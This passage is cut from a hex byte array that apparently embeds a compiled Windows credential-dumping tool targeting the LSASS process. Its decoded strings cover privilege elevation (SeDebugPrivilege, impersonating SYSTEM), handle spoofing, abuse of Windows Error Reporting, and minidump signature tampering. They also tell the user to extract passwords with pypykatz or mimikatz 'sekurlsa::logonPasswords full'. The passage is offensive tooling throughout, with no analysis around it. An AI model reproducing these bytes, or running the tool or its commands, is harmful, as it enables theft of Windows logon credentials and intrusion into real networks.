x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xF2,0xC5,0xCA,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xF0,0xEC,0xC5,0xCA,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0xEE,0xC5,0xCA,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0xEF,0xC5,0xCA,0x01,0x00,0x00,0x00,0x60,0xEE,0xC5,0xCA,0x01,0x00,0x00,0x00,0x40,0xEE,0xC5,0xCA,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x50,0x72,0x6F,0x63,0x65,0x73,0x73,0x49,0x64,0x54,0x6F,0x53,0x65,0x73,0x73,0x69,0x6F,0x6E,0x49,0x64,0x00,0x00,0x4B,0x00,0x65,0x00,0x72,0x00,0x6E,0x00,0x65,0x00,0x6C,0x00,0x42,0x00,0x61,0x00,0x73,0x00,0x65,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x48,0xFF,0x15,0x00,0x78,0x78,0x78,0x00,0x42,0x61,0x73,0x65,0x54,0x68,0x72,0x65,0x61,0x64,0x49,0x6E,0x69,0x74,0x54,0x68,0x75,0x6E,0x6B,0x00,0x4B,0x00,0x65,0x00,0x72,0x00,0x6E,0x00,0x65,0x00,0x6C,0x00,0x33,0x00,0x32,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x48,0x8B,0xC2,0xFF,0x15,0x24,0xCC,0x06,0x00,0x8B,0x00,0x78,0x3F,0x3F,0x78,0x3F,0x3F,0x3F,0x3F,0x3F,0x78,0x00,0x52,0x74,0x6C,0x55,0x73,0x65,0x72,0x54,0x68,0x72,0x65,0x61,0x64,0x53,0x74,0x61,0x72,0x74,0x00,0x00,0x6E,0x00,0x74,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0xFF,0x00,0x78,0x00,0x2E,0x74,0x65,0x78,0x74,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x75,0x6E,0x73,0x75,0x70,0x70,0x6F,0x72,0x74,0x65,0x64,0x20,0x55,0x6E,0x77,0x69,0x6E,0x64,0x20,0x4F,0x70,0x20,0x43,0x6F,0x64,0x65,0x3A,0x20,0x30,0x78,0x25,0x6C,0x78,0x00,0x0A,0x00,0x00,0x00,0x00,0x00,0x74,0x68,0x65,0x20,0x66,0x75,0x6E,0x63,0x74,0x69,0x6F,0x6E,0x20,0x61,0x74,0x20,0x30,0x78,0x25,0x70,0x20,0x69,0x73,0x20,0x61,0x20,0x6C,0x65,0x61,0x66,0x20,0x66,0x75,0x6E,0x63,0x74,0x69,0x6F,0x6E,0x2C,0x20,0x74,0x72,0x79,0x20,0x61,0x6E,0x6F,0x74,0x68,0x65,0x72,0x20,0x6F,0x6E,0x65,0x2E,0x00,0x74,0x6F,0x6F,0x20,0x6D,0x61,0x6E,0x79,0x20,0x66,0x72,0x61,0x6D,0x65,0x73,0x21,0x00,0x00,0x00,0x00,0x00,0x00,0x6E,0x00,0x74,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x5C,0x00,0x52,0x00,0x65,0x00,0x67,0x00,0x69,0x00,0x73,0x00,0x74,0x00,0x72,0x00,0x79,0x00,0x5C,0x00,0x4D,0x00,0x61,0x00,0x63,0x00,0x68,0x00,0x69,0x00,0x6E,0x00,0x65,0x00,0x5C,0x00,0x53,0x00,0x6F,0x00,0x66,0x00,0x74,0x00,0x77,0x00,0x61,0x00,0x72,0x00,0x65,0x00,0x5C,0x00,0x4D,0x00,0x69,0x00,0x63,0x00,0x72,0x00,0x6F,0x00,0x73,0x00,0x6F,0x00,0x66,0x00,0x74,0x00,0x5C,0x00,0x57,0x00,0x69,0x00,0x6E,0x00,0x64,0x00,0x6F,0x00,0x77,0x00,0x73,0x00,0x5C,0x00,0x57,0x00,0x69,0x00,0x6E,0x00,0x64,0x00,0x6F,0x00,0x77,0x00,0x73,0x00,0x20,0x00,0x45,0x00,0x72,0x00,0x72,0x00,0x6F,0x00,0x72,0x00,0x20,0x00,0x52,0x00,0x65,0x00,0x70,0x00,0x6F,0x00,0x72,0x00,0x74,0x00,0x69,0x00,0x6E,0x00,0x67,0x00,0x5C,0x00,0x4C,0x00,0x6F,0x00,0x63,0x00,0x61,0x00,0x6C,0x00,0x44,0x00,0x75,0x00,0x6D,0x00,0x70,0x00,0x73,0x00,0x5C,0x00,0x00,0x00,0x44,0x00,0x75,0x00,0x6D,0x00,0x70,0x00,0x54,0x00,0x79,0x00,0x70,0x00,0x65,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x5C,0x00,0x4B,0x00,0x65,0x00,0x72,0x00,0x6E,0x00,0x65,0x00,0x6C,0x00,0x4F,0x00,0x62,0x00,0x6A,0x00,0x65,0x00,0x63,0x00,0x74,0x00,0x73,0x00,0x5C,0x00,0x53,0x00,0x79,0x00,0x73,0x00,0x74,0x00,0x65,0x00,0x6D,0x00,0x45,0x00,0x72,0x00,0x72,0x00,0x6F,0x00,0x72,0x00,0x50,0x00,0x6F,0x00,0x72,0x00,0x74,0x00,0x52,0x00,0x65,0x00,0x61,0x00,0x64,0x00,0x79,0x00,0x00,0x00,0x6E,0x00,0x74,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x5C,0x00,0x57,0x00,0x69,0x00,0x6E,0x00,0x64,0x00,0x6F,0x00,0x77,0x00,0x73,0x00,0x45,0x00,0x72,0x00,0x72,0x00,0x6F,0x00,0x72,0x00,0x52,0x00,0x65,0x00,0x70,0x00,0x6F,0x00,0x72,0x00,0x74,0x00,0x69,0x00,0x6E,0x00,0x67,0x00,0x53,0x00,0x65,0x00,0x72,0x00,0x76,0x00,0x69,0x00,0x63,0x00,0x65,0x00,0x50,0x00,0x6F,0x00,0x72,0x00,0x74,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x74,0x68,0x65,0x20,0x57,0x65,0x72,0x20,0x73,0x65,0x72,0x76,0x69,0x63,0x65,0x20,0x72,0x65,0x73,0x70,0x6F,0x6E,0x64,0x65,0x64,0x20,0x77,0x69,0x74,0x68,0x20,0x61,0x6E,0x20,0x65,0x72,0x72,0x6F,0x72,0x00,0x0A,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x61,0x69,0x6C,0x65,0x64,0x20,0x74,0x6F,0x20,0x6F,0x70,0x65,0x6E,0x20,0x68,0x61,0x6E,0x64,0x6C,0x65,0x20,0x74,0x6F,0x20,0x73,0x70,0x6F,0x6F,0x66,0x65,0x64,0x20,0x70,0x72,0x6F,0x63,0x65,0x73,0x73,0x20,0x69,0x64,0x20,0x25,0x6C,0x64,0x00,0x41,0x00,0x64,0x00,0x76,0x00,0x61,0x00,0x70,0x00,0x69,0x00,0x33,0x00,0x32,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x5C,0x00,0x4B,0x00,0x6E,0x00,0x6F,0x00,0x77,0x00,0x6E,0x00,0x44,0x00,0x6C,0x00,0x6C,0x00,0x73,0x00,0x5C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x4C,0x00,0x6F,0x00,0x63,0x00,0x61,0x00,0x6C,0x00,0x41,0x00,0x70,0x00,0x70,0x00,0x44,0x00,0x61,0x00,0x74,0x00,0x61,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x44,0x6F,0x6E,0x65,0x2C,0x20,0x72,0x75,0x6E,0x3A,0x20,0x64,0x69,0x72,0x20,0x25,0x6C,0x73,0x5C,0x43,0x72,0x61,0x73,0x68,0x44,0x75,0x6D,0x70,0x73,0x5C,0x00,0x0A,0x00,0x00,0x4B,0x00,0x65,0x00,0x72,0x00,0x6E,0x00,0x65,0x00,0x6C,0x00,0x33,0x00,0x32,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x54,0x68,0x65,0x20,0x70,0x72,0x6F,0x63,0x65,0x73,0x73,0x20,0x27,0x25,0x73,0x27,0x20,0x77,0x61,0x73,0x20,0x6E,0x6F,0x74,0x20,0x66,0x6F,0x75,0x6E,0x64,0x00,0x00,0x5C,0x00,0x3F,0x00,0x3F,0x00,0x5C,0x00,0x00,0x00,0x54,0x68,0x65,0x20,0x70,0x61,0x74,0x68,0x20,0x27,0x25,0x6C,0x73,0x27,0x20,0x69,0x73,0x20,0x69,0x6E,0x76,0x61,0x6C,0x69,0x64,0x2E,0x00,0x43,0x6F,0x75,0x6C,0x64,0x20,0x6E,0x6F,0x74,0x20,0x77,0x72,0x69,0x74,0x65,0x20,0x74,0x68,0x65,0x20,0x64,0x75,0x6D,0x70,0x20,0x25,0x6C,0x73,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x54,0x68,0x65,0x20,0x6D,0x69,0x6E,0x69,0x64,0x75,0x6D,0x70,0x20,0x68,0x61,0x73,0x20,0x61,0x6E,0x20,0x69,0x6E,0x76,0x61,0x6C,0x69,0x64,0x20,0x73,0x69,0x67,0x6E,0x61,0x74,0x75,0x72,0x65,0x2C,0x20,0x72,0x65,0x73,0x74,0x6F,0x72,0x65,0x20,0x69,0x74,0x20,0x72,0x75,0x6E,0x6E,0x69,0x6E,0x67,0x3A,0x0A,0x73,0x63,0x72,0x69,0x70,0x74,0x73,0x2F,0x72,0x65,0x73,0x74,0x6F,0x72,0x65,0x5F,0x73,0x69,0x67,0x6E,0x61,0x74,0x75,0x72,0x65,0x20,0x25,0x73,0x00,0x44,0x6F,0x6E,0x65,0x2C,0x20,0x74,0x6F,0x20,0x67,0x65,0x74,0x20,0x74,0x68,0x65,0x20,0x73,0x65,0x63,0x72,0x65,0x74,0x7A,0x20,0x72,0x75,0x6E,0x3A,0x0A,0x70,0x79,0x74,0x68,0x6F,0x6E,0x33,0x20,0x2D,0x6D,0x20,0x70,0x79,0x70,0x79,0x6B,0x61,0x74,0x7A,0x20,0x6C,0x73,0x61,0x20,0x6D,0x69,0x6E,0x69,0x64,0x75,0x6D,0x70,0x20,0x25,0x73,0x0A,0x6D,0x69,0x6D,0x69,0x6B,0x61,0x74,0x7A,0x2E,0x65,0x78,0x65,0x20,0x22,0x73,0x65,0x6B,0x75,0x72,0x6C,0x73,0x61,0x3A,0x3A,0x6D,0x69,0x6E,0x69,0x64,0x75,0x6D,0x70,0x20,0x25,0x73,0x22,0x20,0x22,0x73,0x65,0x6B,0x75,0x72,0x6C,0x73,0x61,0x3A,0x3A,0x6C,0x6F,0x67,0x6F,0x6E,0x50,0x61,0x73,0x73,0x77,0x6F,0x72,0x64,0x73,0x20,0x66,0x75,0x6C,0x6C,0x22,0x20,0x65,0x78,0x69,0x74,0x00,0x5C,0x00,0x6C,0x00,0x73,0x00,0x61,0x00,0x73,0x00,0x73,0x00,0x2E,0x00,0x65,0x00,0x78,0x00,0x65,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x6E,0x00,0x74,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x54,0x00,0x6F,0x00,0x6B,0x00,0x65,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x54,0x6F,0x6F,0x20,0x6D,0x61,0x6E,0x79,0x20,0x68,0x61,0x6E,0x64,0x6C,0x65,0x73,0x2C,0x20,0x70,0x6C,0x65,0x61,0x73,0x65,0x20,0x69,0x6E,0x63,0x72,0x65,0x61,0x73,0x65,0x20,0x4D,0x41,0x58,0x5F,0x48,0x41,0x4E,0x44,0x4C,0x45,0x53,0x00,0x0A,0x00,0x50,0x00,0x72,0x00,0x6F,0x00,0x63,0x00,0x65,0x00,0x73,0x00,0x73,0x00,0x00,0x00,0x44,0x00,0x69,0x00,0x72,0x00,0x65,0x00,0x63,0x00,0x74,0x00,0x6F,0x00,0x72,0x00,0x79,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x43,0x6F,0x75,0x6C,0x64,0x20,0x6E,0x6F,0x74,0x20,0x6F,0x70,0x65,0x6E,0x20,0x61,0x20,0x68,0x61,0x6E,0x64,0x6C,0x65,0x20,0x77,0x69,0x74,0x68,0x20,0x74,0x68,0x65,0x20,0x72,0x65,0x71,0x75,0x65,0x73,0x74,0x65,0x64,0x20,0x70,0x65,0x72,0x6D,0x69,0x73,0x73,0x69,0x6F,0x6E,0x73,0x00,0x00,0x54,0x68,0x65,0x20,0x4C,0x53,0x41,0x53,0x53,0x20,0x70,0x72,0x6F,0x63,0x65,0x73,0x73,0x20,0x77,0x61,0x73,0x20,0x6E,0x6F,0x74,0x20,0x66,0x6F,0x75,0x6E,0x64,0x2E,0x20,0x54,0x72,0x79,0x20,0x70,0x72,0x6F,0x76,0x69,0x64,0x69,0x6E,0x67,0x20,0x74,0x68,0x65,0x20,0x50,0x49,0x44,0x20,0x77,0x69,0x74,0x68,0x20,0x2D,0x70,0x20,0x6F,0x72,0x20,0x2D,0x2D,0x70,0x69,0x64,0x00,0x54,0x68,0x65,0x72,0x65,0x20,0x69,0x73,0x20,0x6E,0x6F,0x20,0x70,0x72,0x6F,0x63,0x65,0x73,0x73,0x20,0x77,0x69,0x74,0x68,0x20,0x74,0x68,0x65,0x20,0x50,0x49,0x44,0x20,0x25,0x6C,0x64,0x2E,0x00,0x00,0x00,0x43,0x6F,0x75,0x6C,0x64,0x20,0x6E,0x6F,0x74,0x20,0x6F,0x70,0x65,0x6E,0x20,0x61,0x20,0x68,0x61,0x6E,0x64,0x6C,0x65,0x20,0x74,0x6F,0x20,0x25,0x6C,0x64,0x2E,0x00,0x54,0x6F,0x6F,0x20,0x6D,0x61,0x6E,0x79,0x20,0x70,0x72,0x6F,0x63,0x65,0x73,0x73,0x65,0x73,0x2C,0x20,0x70,0x6C,0x65,0x61,0x73,0x65,0x20,0x69,0x6E,0x63,0x72,0x65,0x61,0x73,0x65,0x20,0x4D,0x41,0x58,0x5F,0x50,0x52,0x4F,0x43,0x45,0x53,0x53,0x45,0x53,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x4E,0x6F,0x20,0x68,0x61,0x6E,0x64,0x6C,0x65,0x20,0x74,0x6F,0x20,0x74,0x68,0x65,0x20,0x4C,0x53,0x41,0x53,0x53,0x20,0x70,0x72,0x6F,0x63,0x65,0x73,0x73,0x20,0x77,0x61,0x73,0x20,0x66,0x6F,0x75,0x6E,0x64,0x00,0x00,0x6E,0x00,0x74,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x53,0x00,0x65,0x00,0x44,0x00,0x65,0x00,0x62,0x00,0x75,0x00,0x67,0x00,0x50,0x00,0x72,0x00,0x69,0x00,0x76,0x00,0x69,0x00,0x6C,0x00,0x65,0x00,0x67,0x00,0x65,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x53,0x00,0x65,0x00,0x49,0x00,0x6D,0x00,0x70,0x00,0x65,0x00,0x72,0x00,0x73,0x00,0x6F,0x00,0x6E,0x00,0x61,0x00,0x74,0x00,0x65,0x00,0x50,0x00,0x72,0x00,0x69,0x00,0x76,0x00,0x69,0x00,0x6C,0x00,0x65,0x00,0x67,0x00,0x65,0x00,0x00,0x00,0x41,0x00,0x64,0x00,0x76,0x00,0x61,0x00,0x70,0x00,0x69,0x00,0x33,0x00,0x32,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x4E,0x6F,0x20,0x76,0x61,0x6C,0x69,0x64,0x20,0x70,0x72,0x6F,0x63,0x65,0x73,0x73,0x20,0x74,0x6F,0x6B,0x65,0x6E,0x20,0x74,0x6F,0x20,0x69,0x6D,0x70,0x65,0x72,0x73,0x6F,0x6E,0x61,0x74,0x65,0x20,0x77,0x61,0x73,0x20,0x66,0x6F,0x75,0x6E,0x64,0x2E,0x00,0x0A,0x00,0x00,0x00,0x00,0x00,0x00,0x53,0x00,0x65,0x00,0x41,0x00,0x73,0x00,0x73,0x00,0x69,0x00,0x67,0x00,0x6E,0x00,0x50,0x00,0x72,0x00,0x69,0x00,0x6D,0x00,0x61,0x00,0x72,0x00,0x79,0x00,0x54,0x00,0x6F,0x00,0x6B,0x00,0x65,0x00,0x6E,0x00,0x50,0x00,0x72,0x00,0x69,0x00,0x76,0x00,0x69,0x00,0x6C,0x00,0x65,0x00,0x67,0x00,0x65,0x00,0x00,0x00,0x53,0x00,0x2D,0x00,0x31,0x00,0x2D,0x00,0x35,0x00,0x2D,0x00,0x31,0x00,0x38,0x00,0x00,0x00,0x43,0x6F,0x75,0x6C,0x64,0x20,0x6E,0x6F,0x74,0x20,0x69,0x6D,0x70,0x65,0x72,0x73,0x6F,0x6E,0x61,0x74,0x65,0x20,0x53,0x59,0x53,0x54,0x45,0x4D,0x00,0x00,0x53,0x00,0x2D,0x00,0x31,0x00,0x2D,0x00,0x35,0x00,0x2D,0x00,0x31,0x00,0x39,0x00,0x00,0x00,0x00,0x00,0x43,0x6F,0x75,0x6C,0x64,0x20,0x6E,0x6F,0x74,0x20,0x69,0x6D,0x70,0x65,0x72,0x73,0x6F,0x6E,0x61,0x74,0x65,0x20,0x4C,0x4F,0x43,0x41,0x4C,0x20,0x53,0x45,0x52,0x56,0x49,0x43,0x45,0x00,0x5C,0x00,0x00,0x00,0x46,0x61,0x69,0x6C,0x65,0x64,0x20,0x74,0x6F,0x20,0x72,0x65,0x61,0x64,0x20,0x4C,0x53,0x41,0x53,0x53,0x2C,0x20,0x73,0x74,0x61,0x74,0x75,0x73,0x3A,0x20,0x53,0x54,0x41,0x54,0x55,0x53,0x5F,0x41,0x43,0x43,0x45,0x53,0x53,0x5F,0x44,0x45,0x4E,0x49,0x45,0x44,0x00,0x0A,0x00,0x00,0x00,0x00,0x46,0x61,0x69,0x6C,0x65,0x64,0x20,0x74,0x6F,0x20,0x72,0x65,0x61,0x64,0x20,0x4C,0x53,0x41,0x53,0x53,0x2C,0x20,0x73,0x74,0x61,0x74,0x75,0x73,0x3A,0x20,0x30,0x78,0x25,0x6C,0x78,0x00,0x6C,0x00,0x73,0x00,0x61,0x00,0x73,0x00,0x72,0x00,0x76,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x54,0x68,0x65,0x20,0x73,0x65,0x6C,0x65,0x63,0x74,0x65,0x64,0x20,0x70,0x72,0x6F,0x63,0x65,0x73,0x73,0x20,0x69,0x73,0x20,0x6E,0x6F,0x74,0x20,0x4C,0x53,0x41,0x53,0x53,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x53,0x00,0x65,0x00,0x49,0x00,0x6D,0x00,0x70,0x00,0x65,0x00,0x72,0x00,0x73,0x00,0x6F,0x00,0x6E,0x00,0x61,0x00,0x74,0x00,0x65,0x00,0x50,0x00,0x72,0x00,0x69,0x00,0x76,0x00,0x69,0x00,0x6C,0x00,0x65,0x00,0x67,0x00,0x65,0x00,0x00,0x00,0x00,0x00,0x43,0x6F,0x75,0x6C,0x64,0x20,0x6E,0x6F,0x74,0x20,0x65,0x6E,0x61,0x62,0x6C,0x65,0x20,0x53,0x65,0x49,0x6D,0x70,0x65,0x72,0x73,0x6F,0x6E,0x61,0x74,0x65,0x50,0x72,0x69,0x76,0x69,0x6C,0x65,0x67,0x65,0x2E,0x20,0x41,0x72,0x65,0x20,0x79,0x6F,0x75,0x20,0x65,0x6C,0x65,0x76,0x61,0x74,0x65,0x64,0x3F,0x00,0x0A,0x00,0x00,0x00,0x00,0x53,0x00,0x65,0x00,0x44,0x00,0x65,0x00,0x62,0x00,0x75,0x00,0x67,0x00,0x50,0x00,0x72,0x00,0x69,0x00,0x76,0x00,0x69,0x00,0x6C,0x00,0x65,0x00,0x67,0x00,0x65,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x43,0x6F,0x75,0x6C,0x64,0x20,0x6E,0x6F,0x74,0x20,0x65,0x6E,0x61,0x62,0x6C,0x65,0x20,0x53,0x65,0x44,0x65,0x62,0x75,0x67,0x50,0x72,0x69,0x76,0x69,0x6C,0x65,0x67,0x65,0x2E,0x20,0x41,0x72,0x65,0x20,0x79,0x6F,0x75,0x20,0x65,0x6C,0x65,0x76,0x61,0x74,0x65,0x64,0x3F,0x00,0x00,0x00,0x00,0x41,0x20,0x70,0x72,0x69,0x76,0x69,0x6C,0x65,0x67,0x65,0x20,0x69,0x73,0x20,0x6D,0x69,0x73,0x73,0x69,0x6E,0x67,0x3A,0x20,0x25,0x6C,0x73,0x2E,0x20,0x41,0x72,0x65,0x20,0x79,0x6F,0x75,0x20,0x65,0x6C,0x65,0x76,0x61,0x74,0x65,0x64,0x3F,0x00,0x41,0x20,0x70,0x72,0x69,0x76,0x69,0x6C,0x65,0x67,0x65,0x20,0x69,0x73,0x20,0x6D,0x69,0x73,0x73,0x69,0x6E,0x67,0x3A,0x20,0x25,0x6C,0x73,0x00,0x00,0x41,0x00,0x64,0x00,0x76,0x00,0x61,0x00,0x70,0x00,0x69,0x00,0x33,0x00,0x32,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x54,0x68,0x65,0x20,0x64,0x75,0x6D,0x70,0x20,0x73,0x69,0x7A,0x65,0x20,0x65,0x78,0x63,0x65,0x65,0x64,0x73,0x20,0x74,0x68,0x65,0x20,0x33,0x32,0x2D,0x62,0x69,0x74,0x20,0x61,0x64,0x64,0x72,0x65,0x73,0x73,0x20,0x73,0x70,0x61,0x63,0x65,0x21,0x00,0x0A,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x54,0x68,0x65,0x20,0x64,0x75,0x6D,0x70,0x20,0x69,0x73,0x20,0x74,0x6F,0x6F,0x20,0x62,0x69,0x67,0x2C,0x20,0x70,0x6C,0x65,0x61,0x73,0x65,0x20,0x69,0x6E,0x63,0x72,0x65,0x61,0x73,0x65,0x20,0x44,0x55,0x4D,0x50,0x5F,0x4D,0x41,0x58,0x5F,0x53,0x49,0x5A,0x45,0x2E,0x00,0x6C,0x00,0x73,0x00,0x61,0x00,0x73,0x00,0x72,0x00,0x76,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x6D,0x00,0x73,0x00,0x76,0x00,0x31,0x00,0x5F,0x00,0x30,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x74,0x00,0x73,0x00,0x70,0x00,0x6B,0x00,0x67,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x77,0x00,0x64,0x00,0x69,0x00,0x67,0x00,0x65,0x00,0x73,0x00,0x74,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x6B,0x00,0x65,0x00,0x72,0x00,0x62,0x00,